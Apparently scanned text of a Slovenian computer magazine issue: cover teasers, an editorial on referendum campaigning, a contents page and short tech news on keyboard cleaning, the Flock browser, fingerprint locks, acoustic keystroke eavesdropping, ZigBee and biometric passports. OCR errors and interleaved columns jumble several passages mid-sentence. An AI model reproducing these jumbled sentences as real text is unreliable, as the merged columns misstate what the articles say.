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Slovenski trg so preplavili poceni
izdelki! Se jih splaca kupiti? KakSne
tezave lahko imate, Ce se tak izdelek
pokvari ali ne deluje tako, kot
priCakujete? Kaj morate v tem
primeru zahtevati od prodajalca?
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<>TENOMICHI 3D EDIT GOLD V3 <> |

Nov, revolucionaren program za obdelavo videa, ki za to uporablja
kar grafiéno kartico. Posebej za Moj mikro funkcionalno in ¢asovno neokrnjena razliica iy
na mikroCD-ju, za bralce Mojega mikra pa Se 20-odstoten popust pri nakupu zmogljivejSe razlicice. Stran 74

<> EKSKI.UZWN“ I“ PIWI(: V SI.WENIJI: ATI GRGSSHRE <> NajboljSe vzporedno procesiranje v grafiénem svetu. Stran 54
<>NOVI POTNI LISTI TEHNOLOSKA NEUMNOST? <>

Fotografije bodo najprej zajeli in nato zapekli v éip namesto da bi razpis zahteval tudi izdelavo celovitega informacijskega sistema, ki bi moéno olajsal
in pospesil pridobitev te listine. Trkamo se po prsih, da bomo biometriéne potne liste imeli, moléimo pa o tem, da jih bomo preplagali. Stran 32

O HEKEBSKE METUDE <> Nadaljujemo izredno dobro sprejeto akeijo: preverjanje (ne)varnosti slovenskih spletnih trgovin. Stran 24

" NA JURIS!

<>ZE|_0 PHAK"EN“ <> (Hladna) vojna ponudnikov hitrega
dostopa do interneta. Pretep ali le iskrice
SKYPE: z malce truda brezZiéno telefoniranje s Skypom po vsem stanovanju Stran 88 na trgu od 1. oktobra, ko smo dobili

FOTOGRAFIJA: oprema fotografov pri popotni fotografiji Siran 67 ponudnika tehnologije VDSL.
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PiSe: Zoran Banovié zoran.banovic@mojmikro.si

eferendum je mimo in v Casu tega pisanja je bil rezultat tak, da je

tesno ymagala vladna stran. Ljudstvo je spregovorilo in njegovo voljo

je treba spostovati, pa naj bo to komu vse¢ ali ne. Takina pravila

smo si zastavili in zdaj moramo z njimi Ziveti. Ne glede na to, ali

nam je rezultat vSe¢ ali ne, pa ne moremo mimo nekaterih dejstev, ki
na naso soncno degelico mecejo luc, ki si je verjetno ne Zelimo.

K razmisljanju me je vzpodbudil pamflet, ki smo ga pred referendumom dobili
v poStne nabiralnike, njegovi avtorji pa so bili »bili ZA«. Pamflet je bil v obliki
mini &asopisa, v katerem so privrgenci spremembe zakona pisali, zakaj so ZA.
Stvar me sama po sebi ne bi motila, saj nas ima v demokraciji o&itno vsak pravico
zasuti s svojimi pogledi in nas »neuke« pouciti, zakaj je za eno ali drugo opcijo.
Zbodlo me je dejstvo, da na naslovnici pise, da je v pamfletu tudi nagradna
krizanka, v kateri uspesnim reSevalcem ponujajo ¥rebanje, glavne nagrade pa so
televizijski sprejemniki. Prosim? Dajte mi glas in morda boste dobili televizijo!
Smo na to padli? In kdo je zadevo sponzoriral? Gorenje, Sony, politine stranke?
Prosim wvas lepo! Ali nasa demokracija res pomeni, da je mogoce glas kupiti?
Kupiti s televizorjem? S kranjsko klobaso? Smo Slovenci res tako neumni in
primitivni?

No, ker nisem ne vem kako politicen Elovek in v Zivljenju Se nisem bil na
politicnem shodu, sem najprej misli, da pac cesa ne vem in da je to v nasi
demokraciji pac normalno. A se je zadeva nadaljevala. Kak dan za tem sem
poslusal radio in slisal reklamo privrZencev iste opcije. V oglasu so nam povedali,
da so ZA zato in zato. V redu. A na koncu so se pod oglas e »podpisali« in
rekli, da zakon podpirajo te in te stranke. Hmm! Zal mi je, ampak glede na
izkusnjo s pamfletom sem prisel do istega sklepa — »Hej, Slovencki, saj ni vagno,
&e razumete, za kaj gre, vaino je, da veste, da smo to podprle xmagovite stranke
in zato veste, kako je treba glasovati! «. Moram re¢i, da sem bil malce jezen, a
rekel sem si, da imamo pac to, kar smo si izvolili, in s tem moramo pac Ziveti. A
zadeva Se ni bila konéana. Iz pogovora s prijateljem sem izvedel Se za en dogodek,
ki mi je res dvignil tlak. Dijaki mariborske $kofijske gimnazije so se morali
udelefiti zahvalne mase, namenjene proslavljanju vrnitve denacionaliziranih
nepremicnin Cerkvi. OK, naj. A na slavnostni masi je fupnik, ki je maseval, vse
prisotne tudi opozoril, da morajo glasovati za zakon. Prosim? Saj vem, da so v
cerkvah pred vsakimi volitvami agitivali za dolocene politine opcije, a za zakon
o RTV ... Mar nimamo pri nas Cerkve in drfave locene? Ko sem nazadnje
bral ustavo, je bilo tako. Ali pri nas ne obstajajo pravila, kako se financirajo
podobne kampanje? Je v znesek, namenjen kampanji, vkljuceno tudi to, kar
dela Cerkev? Smo Slovenci res tako neumni, nezainteresirani in voljni, da se z
nami manipulira? Ce zmagovalci na volitvah recejo ZA, &e nam za ta ZA dajejo
televizijo in Ce je ZA rekel tudi lokalni fupnik, potem pa res moramo biti ZA.
Cetudi pojma nimamo, o em je bil govor.

In kaksno zvezo ima zadeva z informatiko, s katero se ukvarjamo? Pravzaprav
veliko. Ce namre¢ vladajoca struktura jemlje vecino svojih volivcev za neuke
preprostege, ki jih je mogo&e s kranjsko klobaso prepricati, da je to, kar dela,
prav, se res sprasujem, kako nas bodo vodili v novo informacijsko dobo. Leto
dni je, odkar so na oblasti, informacijsko ministrstvo so ukinili, ker je bilo
neucinkovito, naloge razdelili med druge, zdaj pa Eakamo. Cakamo, da se nekaj
zgodi. Pa bi se moralo ...
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Kupujemo poceni?
KILO KRUHA
IN PLOSKI TELEVIZOR, PROSIM

Slovenski trg racunalniSke in opreme zabavne elektronike
so preplavili ceneni izdelki, ki se jim je tezko upreti. Ko
sko¢imo v nakupovaino srediSce po zivila, mimogrede v
voziCek potisnemo Se akcijsko ugodni DivX-predvajalnik ali
ploski televizor. Gre pritem za dober ali slab nakup?

g

NA JURIS! Skype in lokalna
(Hladna) vojna ponudnikov hitrega dostopa do interneta. mobilnost
Pretep ali le iskrice med branjevci? Prava konkurenca je

INTERNETNI

80

natrgu od 1. oktobra, ko smo dobili ponudnika tehnologije

VDSL. MOBILNIK
Kdaj naslednja generacija lokalizacijskih storitev? \ STAN OV ANJU

Minilo je Ze skoraj dve
leti, odkar smo prvi¢
resneje pisali o Skypu kot
predstavniku telefonije
VolIP. V tem Casu je

iz prakticno popolne
anonimnosti prisel do
ravni, ko je pometel z
marsikaterim resnim
konkurentom. Domaca
uporaba je lahko z njim z
nekaj triki Se priro¢nejsa.

Zakaj slovenske zavarovalnice ne zavarujejo pred
»visokimi telefonskimi raduni«? Zakaj vsi kazejo s prstom
na Telekom, pozabljajo pa na lastno krivdo in krivdno
ponudnikov dostopa v internet?

Kako smo v praksi razhili Sifriranje WEB v brezzicnih
omrezjih,

Kje so dobri stari robustni mobilni telefoni, po katerih se
marsikateremu uporabniku milo stori?

KAJ PRINASA CIP V POTNEM LISTU

Medtem ko se izteka razpis za izdelavo biometricnih potnih

listin, ki ga je objavili ministrstvo za notranje zadeve, sSmo
se v Mojem mikru odlocili pogledati v tehnolosko ozadje
biometrije. Kako nastane biometricni potni list ali drug biometricni
dokument? Kaksni so tehnicno-varnostni standardi? In koncno, kaj lahko

32

Biometrija

pricakujemo od prve generacije teh digitalnih dokumentov?

44

Podrohneje: prenosni racunalniki
PRENOSNO JE ZAKON

Zadnja leta je mogocCe opaziti rast prodaje prenosnih racunalnikov
na racun namiznih. Zakaj tako? Razlogov je veliko. Prenosniki
0 manjSi, zasedejo manj prostora doma, kljub temu pa
zado3Cajo za normalno delo, razen Ce se ukvarjate z
zares zahtevnimi opravili. So prenosni, vedno z nami

in omogocajo kak$no delo opraviti tudi doma,

brez potrebe po prenaSanju podatkov v pisarno

na posebnem mediju. So ¢edalje cenejsi, Ceprav

ne tako poceni kot primerljivi namizni racunalniki. So
moderni in se lahko z njimi pohvalimo.

54 @8

ATI CrossFire
ekskluzivni prvi test v Sloveniji!

\/ NAVZKRIZNEM OGNJU

Kot prviin edini v Sloveniji smo dobili priloznost preizkusiti ATlev najnovejSi izdelek
CrossFire! Dobili smo celoten sistem  matiéno plosc¢o Radeon Xpress 200 CrossFire,

na kateri se bohoti nov vezni nabor Express200, ter dve graficni kartici, ki omogocata
medsebojno navezo! Komponente prihajajo na prodajne police, zato smo preverili, kako se
odreZejo v kruti realnosti. Ali menite, da je Nvidia 7800 GTX ogrozena?
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0 tem, da ne smete pozabiti ob¢asno o€istiti racunalnika, kako lahko umazan
racunalnik povzroCi tezave in kako se pravilno lotiti opravila, obstajajo v tujini celo
knjige. Zbrali smo nekaj najpomembnejsih nasvetov. Vsi niso o€itni na prvi pogled in
marsikateri uporabnik lahko z napacnim ¢iS¢enjem naredi ve¢ Skode kot koristi.

Najprej se lotite CiSCenja tipkovnice, ki je obicajno tudi najbolj umazana. Umazanija

FLOCK ZA DRUZABNO
SPLETNO BRSKANJE

V zaCetku tega meseca naj
bi bila na voljo beta razlicica
odprtokodnega brskalnika Flock,
ki je narejen na osnovi Firefoxa.
0d slednjega ga razlikujeta in
mu dajeta svojevrstno unikatnost
dve funkciji: vdelana orodja za
spletne dnevnike (bloge) po nacelu
»kar vidis, to dobis« (WYSIWYG)
in moznost urejanja spletnih strani
v lastno zbirko. Slednje zahteva

ot
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l Flock :: Home
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nekaj dodatne razlage. Gre za podobno zadevo, kot je spletna storitev del.icio.us.

Ta omogoca preprosto dodajanje spletnih strani v lastno zbirko povezav, njihovo
razvrS¢anje (urejanje) na podlagi kljucnih besed, na voljo pa jo lahko damo tudi
drugim uporabnikom. Po registraciji na omenjeno storitev ta nadgradi obstojeci spletni
brskalnik z novimi funkcijami, ki takSno urejanje omogocajo to paima Flock Ze
vdelano neposredno v brskalnik. VV primerjavi s klasicnimi brskalniki, ki so umerjeni

med tipkami lahko povzroCi slab$e delovanje (zatikanje) tipk, da ne govorimo o obCutku, ;golj Y krmarjg nje po spletu, Flock VKUUCUJG »dvos.me.r.n 0 filozofijoc, torej flll|OZ0fIJO .
P o : L . o interneta 2, kjer se bo vse vrtelo okoli dogodkov, ljudi in povezav. S funkcijo Watchlist
ko sedete za taks$no tipkovnico, in dejstvu, da se na tipkovnici zadrzujejo razlicne

a P S v IR lahko spremijate zbirke uporabnikov ali skupin uporabnikov, ki jih Zelite spremljati,
bakterije, ki povzrocajo bolezni. Naceloma lahko za CiS¢enje tipk uporabite Cistila, ki podpira pa tudi vire RSS. Testni uporabnika pa so najbol] navdugeni nad orodji za

jihimate doma - no, ne ravno varikine ali podobne zadevscine za unicevanje zadrtih | . I o )
madezev, Najpriporodlivejsa e viana bombaina kepica, Ceprav je vecina tipkovnic bloge, ki so vkljuceni v brskalnik in jih ni treba dodatno namestiti (prenesti iz spleta).
i ) Ker gre za funkcije, ki jih morate obitajno dodatno namestiti, naj bi bila zadeva

zaScitena pred vdorom tekoCine do elektronike, vseeno predlagamo pazljivest. V S . . o
. ) . " o » ) I stabilnejSa in verjetno tudi preprostejSa za uporabo.
Skaf vode je ravno ni treba potopiti. Imamo pa prakticen nasvet: tipkovnico najprej
L . ) Lo T, www.flock.com

fotografirajte in nato odstranite vsako posamezno tipko. Dajte jih v pomivalni stroj
in zaZenite program, kjer temperatura ne preseze 30 stopinj Celzija. Ko stroj opravi
svoie, namestite tipke nazaj, pri tem pa si pomagajte s prej posneto fotografijo.

Cistiti je treba tudi miske, opticne malo manj, tiste s koleS¢kom pa pogosto. Prah,
ki se nabere v notranjosti, vpliva na njeno delovanje, zato jo morate odpreti in oCistiti
notranjost lezisCa za koleS¢ek. Na enak nacin, torej z viazno krpo ocistite tudi ohisja
naprav. Ce so madezi odporne;si, uporabite kakSno ne prevec aktivno Cistilo za
¢iScenje posod.

PALEC
NAMESTO
KLJUCA

Ce imate dovolj pod palcem, lahko
slednjega namesto klju¢a uporabite za
vstop v svoj dom. O sistemih, ki prstni
odtis uporabljajo za odklepanje vrat, smo
pred Casom (letom dni) Ze pisali. Sistem
TOCAHome pa je vbudil naso radovednost,
predvsem zaradi razmeroma dostopne
cene, kar doslej pri teh sistemih ni bil

| obicaj. 99 tiso¢akov, kolikor velja osnovna
razli¢ica, po naSem mnenju Se vedno ni dovolj nizko, da bi si vsi omislili tak$no
»kljucavnico, je pa vsaj malce manj stresno kot 200 tisoCakov.
Sistem sestavljata dve enoti, notranja in zunanja. Prek notranje vnaSamo prstne

znezno krpico (takSno, ki ne poSkoduje povrsine stekla), pri Cemer lahko uporabite
katerokoli komercialno Cistilo za steklo. Obstajajo tudi posebna Cistila za monitorje, a
ta so, verjemite, veliko drazja kot tista, kupljena v nakupovalnih srediscin. PazljivejSi
boste morali biti pri CiSCenju ploskih zaslonov. Tu nikar ne uporabite jedkin Cistil (luge,
baze), saj lahko te poskodujejo povrsino zaslona (plasticni zasCitni premaz).
Zadnje, kar vam predlagamo, je odstranitev prahu iz notranjosti racunalnika. Tu je

treba biti pazljiv, saj nekateri prodajalci prepovedujejo odpiranje racunalnika, ko je ta
pod garancijo (za$¢itna nalepka). Predvsem je to lahko tezava pri izdelkih s triletno
garancijo, saj se v tem Casu v racunalniku nabere veliko prahu. Ta lahko negativno
vpliva na delovanje ventilatorja in racunalnik se lahko pregreje. Nikakor pa notranjosti
racunalnika ne smete istiti s krpami (viazni ali suhimi). Vzemite raje sesalnik in pazite,
geesnje?; k&?ﬁfﬁﬁ?ﬁg?kiingeem \rl”rggsgl? mr;, ;?ir;jedna_ g;?(\)/epcrg(;?abg()a;egitjz odtise oseb, ki jim dovolimo vstop, in briSemo tiste, ki do tega niso ve¢ upraviceni. V

: N . ) ) : pomnilnik lahko shranite do 99 prstnih odtisov, kar je mogoce zato, ker se vanj ne shrani
sesalno odprtino prekrijete z najlonsko nogavico (veliko ceneje kot nakup posebnega . : . " A C N
) e ) . o . : ) slika prstnega odtisa, temveC njegove edinstvene posebnosti, otocki, prehodi, bifurkacije
sesalnika za Ciscenje racunalnikov), ki dopusca odstranitev prahu, ne pa tudi drugih R o o . . y
v obliki binarne kode. Po zagotovilih proizvajalca je to dovolj in zlorabe niso mogoce.

delov. ) ) . . . o !
. o . . ST Pametno je, da shranite ve¢ prstnih odtisov razli¢nih prstov iste osebe, preprosto za
Mati¢ne ploSCe in druga vezja pa raje pustite pri miru. Ce se Ze lotite CiScenja, ) Ly . . N ) )
; . . . : . to, da je vstop vedno mogoc (Ce se recimo urezemo in imamo prst oblepljen). Sistem
potem lahko le nezno odstranite prah s Copicem. Pametno je, da se pritem opravilu ) ) o - : . L .
je mogoCe namestiti povsod tam, kjer Ze zdaj uporabljate elektriéne kljuéavnice, saj ga

tudi ozemljite, da vasa staticna elektrika morebiti ne bi poskodovala ¢edalje I . ) o Y
R x : . : . priklopite neposredno nanjo. V nasprotnem primeru boste morali klasicno kljuCavnico
obcCutljivejSe Cipe. Za CisCenje opticnih pogonov, kjer se tudi rad nabira prah, pa je Zamenjat

najboljSi (ali celo edina moznost) Cistilni CD. i .
www.lindempa.si/ekey
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NAMESTO BELEZNICE Z GESLI

Znano je, kako je, ko si moramo zapomniti goro
uporabniskih imen in gesel za razlicne storitve. V pomo¢
nam je »Crna knjizica, v katero jih zapiSemo in upamo,
da nam je ne ukradejo, ali datoteka v racunalniku, ki

e ~-4-:-_-'-1g_===_==- je ali pa ni dodatno zavarovana in Sifrirana. Ne eno
e ;_I.':..'T..'.".._...] ne drugo ni najboljsa resitev. Prav tako ne idealna, a

e vseeno boljSa kot prejsnji dve je storitev Just1Key. Zelo
- N w

preprosto. Za mesecno narocnino 2,5 dolarja (500
tolarjev) dobite na voljo prostor, v katerega zapisujete
uporabniska imena, gesla, povezane spletne strani in belezke. Vsi ti podatki so shranjeni v strezniku in varovani

7 2048-bitnim Sitriranjem. Do njih je mogoC dostop od koderkoli, potrebujete le povezavo v internet, Sifriranje pa
zagotavlja, da podatkov ne morajo videti niti zaposleni v podjetju, ki skrbi za omenjeno storitev. Do svojega »rauna«
pridete z uporabniskim imenom in geslom, no, tega si le morate zapomniti, prenos v druge storitve pa je urejen prek
»0dloziSCa«. Gesla na zaslonu ne vidite, vidite zgolj niz *********** kar pomeni, da tudi ¢e vam kdo diha za ovratnik,
gesla ne more ukrasti. Poleg klasicne spletne razliCice storitve (ta je najbolj varovana) je na voljo tudi razlicica,
namenjena mobilnim uporabnikom - dostop do storitve prek mobilnega telefona.

Glede na uporabljeno tehnologijo varovanja lahko ocenimo, da je storitev dovolj varna in ne dopusca zlorab.
Njena Sibka toéka je tudi njena prednost - gesla, zbrana na enem samem mestu. Ce vam nepridiprav ukrade ali s pomogjo
»socialnega inZeniringa« ugotovi uporabnisko ime in geslo te storitve, je bogato nagrajen. Na pladnju dobi vsa gesla
za vse storitve, ki jin uporabljate.  www.just1key.com

PRISLUSKOVANJE TIPKANJU

ODPRTA KODA
VRACA UDAREC

Pravila licenciranja odprtokodne programske
opreme (GNU General Public License) so bila
napisana pred 14 leti, ko problem patentiranja
programske opreme in metod Se ni bil tako izrazit, kot je
danes. Tipi¢en zgled je Amazonov patent »nakupa za
enim klikom«. Ker ima to podjetje omenjeni patent,
to pomeni, da te metode drugi programeriji ne smejo
uporabiti v svojih reSitvah, nikjer pa ni prepovedano,
da na primer Amazon uporablja odprtokodno opremo
za svoje resitve. Bistvo odprte kode je v tem, da
lahko opremo vsakdo pregleduje, kopira, spreminja
in tako naprej. Nova pravila, ki jih pripravljajo, pa naj
bireSila ta zaplet. Ali drugace povedano, podjetja ali
posamezniki, ki patente uporabljajo proti odprti kedi, bodo
izgubili pravice, ki jim jih danes Se zagotavlja GNU - to
pa je uporabo odprte kode v svajih resitvah in njihovo
distribucijo. Praviéno!

Raziskavalci so prisli do zanimive, lahko bi celo dejali $okantne ugotovitve. Ze s
poslusanjem pritiskanja na tipke tipkovnice in s posebno opremo lahko razberemo,
kaj oseba dejansko piSe. V namene preizkusa so 10 minut snemali zvoke tipkanja,
nakar so zagnali sistem za prepoznavanje. Ta je prepoznal 96 odstotkov vseh znakov, ki
jih je uporabnik vnesel, pri ¢emer algortima niso motili Sumi okolice (na primer
zvonjenje telefona). Ima pa sistem »napakos, ki mu i
mocno zmanjSa pomen. Algoritem se ne zanasa zgolj
na zvoke pritiska na tipke (Ce bi se zana$al le na to, bi
prepoznal le 60 odstotkov znakov), temve¢ upoSteva
tudi strukturo angleskega jezika (statistiko, katere Crke
Si z najveCjo verjetnostjo sledijo) in tako z visoko
verjetnostjo ugiba, kaj je uporabnik dejansko tipkal.
Na koncu so prek dobljenih rezultatov spustili Se Cisto
obiCajni érkovalnik, ki je pripomogel k tako visokemu
rezultatu.

To pa je skrb zbujajoCe in marsikdo se boji, da bi na

primer hekerji metodo uporabili za pridobivanje gesel za vstop v varovane sisteme. Cisto
tako preprosta zadeva le ni. Dejansko ima pritisk na tipko svoj unikatni zvok, vendar ta
ni enak pri vsaki tipkovnici in pri vsakem uporabniku, kar seveda preprecuie izdelovanje
preprostih univerzalnih naprav za prisluh. Potrebno bo ve€ truda in izdelati napravo s
sposobnostjo samodejnega uéenja. TakSna naprava lahko dlje ¢asa »poslusac tipkanje

uporabnika in se s pomocjo poznavanja strukture jezika
in dodatnih podatkov, kaj uporabnik tipka, pocasi uci. Po
preteku dolo¢enega ¢asa in seveda pod pogojem, da je
bil proces ucenja (umerjanja) ucinkovit, pa to kljub vsemu
pomeni, da je mogoce razbrati, kaj uporabnik tipka,

le prek skritega mikrofona. Predstavljajte si industrijsko
vohunjenje. \ohun se najprej zaposli v podjetju tarciin

S seboj prinese ustrezne naprave. Ker mu sodelavci
zZaupajo, je proces »ucenja« naprave za prisluh dokaj
enostaven. Ko je delo opravljeno, da vohun odpoved in za
sabo pusti zgolj preprost mikrofon.

Opremite svojo predavalnico ali |
konferenéno sobo z napredno opremol

e
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VARCNEJSA TIPALA

Razlog, da na$ dom e ni v celoti omrezen z razliénimi
tipali za nadzor naprav, okolja in ljudi je preprost. Ne
glede nato, katero tehnologijo prenosa podatkov
uporabljajo, tipala bodisi potrebuijejo kabel, kar je ovira
pri nameSCanju v stare objekte, ali pa so energijsko
preveé poZresni, ko je govora o brezziénih izvedenkah. Si
predstavljate, da imate doma 100 tipal in da morate
neprestano menjavati baterije? Kaksen strosek je to,
vam verjetno ni treba razlagati. To naj bi se spremenilo,

%, 2 Normnaino tipdo
@ Prepoosto tipalo

tako vsaj pravijo podijetja, zdruzena v konzorcij ZigBee.
Njihov cilj je predstaviti tipala, ki so dovolj enostavna, da niso predraga in da hkrati baterije zdrZijo nekaj let. Prva
namenska reSitev, Home Hartheat podjetja Eaton Electronic, bo namenjena vgradnji v domove. Sistem sestavljajo
bazna postaja (nadzorni center), prenosni zaslon in pripadajoca brezzZi¢na tipala. Ko eno od tipal zazna teZzavo, o
tem obvesti nadzorno postajo, ki sprozi akcijo. Tako na primer pri pus¢anja pipe tipalo zazna, da bi lahko prilo do
poplave, nadzorni center pa lahko takoj zapre glavni vodni ventila in prek telekomunikacijskega kanala (na primer
mobilne telefonije) obvesti lastnika o tezavah. Ni¢ posebnega, bi lahko dejali, saj je podobnih resitev na trgu veliko.
ZigBeejeva tipala uporabljajo za prenos podatkov standard IEEE 802.15.4. Pri tem ne gre za hiter prenos
podatkov (slikivideo, zvoka), temve¢ za razmeroma pocasno povezavo (250 Kby/s), kjer tipala poSiljajo zgolj
nekaksna kratka sporocila - lahko bi jih ocenili kot besedilna sporocila. Ravno zaradi tega imajo ta tipala tako
dolgo avtonomijo, celo nekaj let, kajti znano je, da najve¢ energije porabijo pri brezziénem oddajanju podatkov.

802.11h Bluetooth ZigBee
Zdriljivost baterij ure dnevi leta
Kompleksnost zelo visoka visoka nizka
Najvecie Stevilo vozIliSE (tipal v omeZju) | 32 7 64000
Latenca +3s +10s 30 ms
Doseg 100 m 10m 70 300m
RazSirljivost (poznejSe dodajanje tipal) | moZnost gostovanja ne da
Hitrost prenosa podatkov 11 Mb/s 1 Mb/s 250 Kb/s
Varnost Veliko moznosti 64- ali 128-bitno Sifriranje | 128-bitno Sifriranje

Zanimivo je tudi, da bo omreZje tipal mogoce oblikovati v razliéne topologije. Najpreprostejsa je zvezda, kjer
je vsako tipalo neposredno povezano s centralno enoto. Poleg te je mozna tudi drevesna struktura. Tipala so
zdruzena v grozde (vsak grozd nadzira potencialni dogodek), skupaj pa so povezana s centralno enoto. Obstaja
tudi kombinirana oblika, torej s tipali povezanimi s centralo in grozdi tipal za podrobnejSi nadzor. Pri grozdni
strukturi ve€ preprostih tipal (ta so obi¢ajno lahko cenejSa) zamenja eno zmogljivejSe. Posamezna tipala v grozdu
podatke posiljajo osrednjemu tipalu na krajsih razdaljah, slednje pa te posreduije centralni enoti.
www.zigbee.org

PALICA ZA LETALCE

Podjetje Trust je predstavilo igralno palico GM-250,
ki je Se posebej primerna za simulaciie letenja. Poleg
nadzora po oseh xin y namre¢ omogoca tudi nadzor
po 0si Z, kar je izvedeno s tako imenovano HAT-tipko.
S pritiskom na to tipko lahko na primer pogledamo
preko ramena, natancneje, v osmih smereh. Palica ima
12 dodatnih gumboyv, dajejo veliko dodatnih moznosti
nadzora, priklopimo pa jo prek 1,8 metov dolgega kabla
v USB-vmesnik.
(promocijska novica) www.trust.com, www.trion.si

DRZAVA MED
BIOMETRIJO
IN EKONOMIJO

Veliko o slovenskih biometricnih potnih listih lahko
najdete v samostojnem Clanku v tej Stevilki Mojega
mikra, tukaj bomo omenili zgolj zaplet ali rahlo
nerodnost, ki si jo je drZava privoScila pri razpisu za
ponudnika. Predmet razpisa ni bil zgolj izbor izdelovalca
potnih listin, temvec tudi izbor ponudnika programske
opreme za zajem fotografije, prstnega odtisa in podpisa.
Problem pri vsej zadevi je izredno preprost. Tisti, ki
izdeluje potne listine, ni nujno primeren za izdelavo
programske opreme oziroma kar celotnega sistema
za upravne enote, ki naj bi hkrati bil povezan z drugimi
drZavnimi informacijskimi sistemi. Se veji hec je, da
zaradi narave razpisa
ni bilo mo¢ izbrati dveh
ponudnikov, enega
zaizdelavo potnih
listin in drugega za
programsko opremo.
Naceloma lahko
en sam ponudnik
ponudi oboje, a je
zelo vprasljivo, ali bo
v takem primeru programska oprema omogocila vse
mozne funkcije sistema ali zgolj tiste najnujnejSe - dale
zadosti zahtevam iz razpisa.

Morda se sliSi kot reklama za podietje Hermes Softlab,
pa to nikakor ni na$ namen, toda to podietje je po
naroGilu HP-ja razvilo sistem NIS. Preprosto povedano
gre za aplikacijo, neodvisno od strojne opreme
(digitalni fotoaparat, bralnik), ki jo je mogoce povezati
z centralnimi registri podatkov in omogoca zajem in
varen prenos podatkov od mesta zajema do izdelovalca
potnih listin oziroma drugih dokumentov z biometricnimi
podatki. Sistem bo pod svojim imenom trZil HP, a to Se
ne pomeni, da se zanj ne more odlo€iti tudi nasa drzava.
VpraSanije je le, koliko se je zavezala v omenjenem
razpisu. Drzavljani namrec pricakujemo, da ¢e nam
drZava Ze zapoveduje zamenjavo dokumentov, potem
naj obstojeci sistem nadgradi do te mere, da bo za nas
¢im cenejsi in hitrejSi. To pa med drugim pomeni, da ne
Zzelimo ve€ hoditi k fotografom, da nam izdelajo ustrezno
fotografijo, ki jo nato nekdo ponovno digitalizira, da
jo sploh lahko natisnejo in vpiSejo v Cip. Po drugi
strani bi pricakovali, da bo novi sistem omogocal tudi
spletno narocanje potnih listin in tudi osebnih izkaznic, brez
potrebe, da se oglasimo na upravnih enotah. To je
vsekakor mogoce, a le Ce drzava za to nameni nekaj
proracunskega denarja.

MP3-PREVAJALNIKOM VSTOP PREPOVEDAN!

Kot je nekdo dejal, so prenosni MP3-predvajalniki » la« iPod le veliki prenosni trdi diski in ni¢ drugega. Prav to
pa je razlog, da jih ne smete imeti v nekaterih Boeingovih tovarnah ali ameriSkem ministrstvu za obrambo. Bojijo
se namrec, da bi zaposleni na trde diske (ali druge pomnilnike) predvajalnikov preprosto prenesli tajne podatke in
jih tako skoraj brez ovir prenesli iz podjetja 0ziroma organizacije. Vsakodnevni pregledi pomnilnika predvajalnika
bi bili dokaj zamudni, kakSno besedico bi glede tega lahko dejali tudi zagovorniki ¢lovekovih pravic, in tudi skoraj
nemogoCi. Z nekaj spretnosti (steganografija) lahko tat podatke skrije, tako da vsaj na prvi pogled vsebina
pomnilnika ne poraja sumov. Sicer novica niti ni tako pretresljiva in podobna prepoved se lahko zgodi tudi pri nas.
Ce so v nekaterih ustanovah prepovedali uporabo fotomobilnikov, je prepoved prenosnih predvajalnikov zgolj
naslednji logicni korak.
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VROCA ALI MLACNA VISTA?

100 pm

NANOROBOTEK

Da ne bomo vedno govorili bolj ali manj
normalnih in ¢loveSkemu oCesu vidnih robotih, to
pot predstavljamo najmanjSega robota na svetu, ki
ga je seveda mogocCe upravljati. Kot kaZe slika, je
»robot«, oziroma boljSi izraz bi bil struktura iz silicija,
velik le nekaj ve¢ kot 100 mikrometrov (je manjsSi kot
pika v tem stavku) in se premika s hitrostjo 200
mikrometrov na sekundo po izredno gladki povrSini.
Energijo dobi prek mreze elekirod, nameS¢enih pod
povrSinskim slojem, premika se zaradi asimetricne
oblike, usmerja pa se z »veslom« na sprednji strani.
Na neki nacin zadeva mo¢no spominja na bickarje,
mikroorganizme, ki se premikajo s pomogjo »bickac.
Vendar se ti in tudi prejSnji podobni »robotki«
premikajo zgolj v tekocini, nas robotek pa, kot smo
omenili, tudi po gladki povrSini. Njegova mo€ je
dovolj velika, da pred sabo potiska zrnce prahu ali
sebi enakega robota.

Za premikanje ne potrebuje motorja. Pod
povr$ino je omrezna negativnih in pozitivnih zlatih
elektrod. Nabita elektroda povzrodi, da se ves robot
»nabije« z nasprotnim nabojem. Robot in povrSina
(naboj elektrode) povzrocCita, da se prvotna L-oblika
robota raztegne. Da preide robot v prvotno obliko (L-
oblika) je dovolj izklop elektrode. V vsakem koraku
se robot premakne za 12 nanometrov.

OBVESTILO v prejSnji Stevilki revije je pri
¢lanku Izgradnja podatkovnih skladis¢ na strani
60 pomotoma izpadla omemba soavtorja ¢lanka
Damijana Milivojevi¢a. Avtorju se opravicujemo.
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0 Microsoftovem operacijskem sistemu Windows Vista in paketu Office 12 v reviji
namenoma Se nismo pisali. Prepricani smo, in tako misli ve¢ina strokovnjakov, da je bolie
poCakati do razliice beta 2, ko bo jasneje, kaj bo v novih programih in kaj ne. V svetu pa se
76 kreSejo mnenja. Znan je Microsoftov optimizem, ki kar preve¢ zanosno pricakuje naval
uporabnikov na novosti takoj, ko jih bodo poslali na trgovske police. Racunajo namreg, da bo
toliko novosti in toliko prednosti, da nihce ne bo ostal ravnodusen. Bolj kot na prodajo skupaj
Z novimi raéunalniki ratunajo na nadgrajevanje (nekaj miljonov) starejsih. Se zlasti ker naj bi
programi skoraj normalno delovali tudi v teh in vsaj na prvi pogled ne bo potrebe po nakupu
nove strojne opreme. Analitiki pa kljub vsemu svarijo in predlagajo poslovnim uporabnikom,
da dobro premislijo. Njihov pomislek je jasen. Racunalnik naj bi uporabljali vsaj $e dve leti po
nadgradnji, sicer je slednja zaradi stroSkov dela (nadgradnje) in licence neekonomska. Torej
ra¢unalniki, ki jih kupujete danes, in upoStevaje, da velika podjetja nove programe pred odloCitvijio
testirajo vsaj 18 mesecev, niso primerni za nadgradnjo. UpoStevamo, da podjetja povpre¢no
zamenjujejo strojno opremo po treh letih. Svoje nove razliCice programske opreme, napisane

NOVA DRUZINA PRENOSNIKOV

za operacijski sistem Vista in Office 12 bodo kaj kmalu predstavili tudi drugi proizvajalci
programske opreme. Ceprav bo stara programska opreme $e vedno delovala, bodo podjetja
postavljena pred nov izziv, ali jo zamenjati. Vista in Office torej lahko sprozita nov ciklus nalozb

v informacijsko tehnologijo, kar proizvajalci Zelijo in tudi pricakujejo. Kako obsezne pa bodo
nalozbe, bo odvisno predvsem od prepricanosti kupcev, da so jim novosti v prid, kakor tudi
od prepricljivosti prodajalcev.

Sami smo 0 napovedanem »bumu« zamenjav malce skeptiéni. Morda ravno
zaradi tega, ker obstojeci operacijski sistemi in programi delujejo dovolj stabilno,
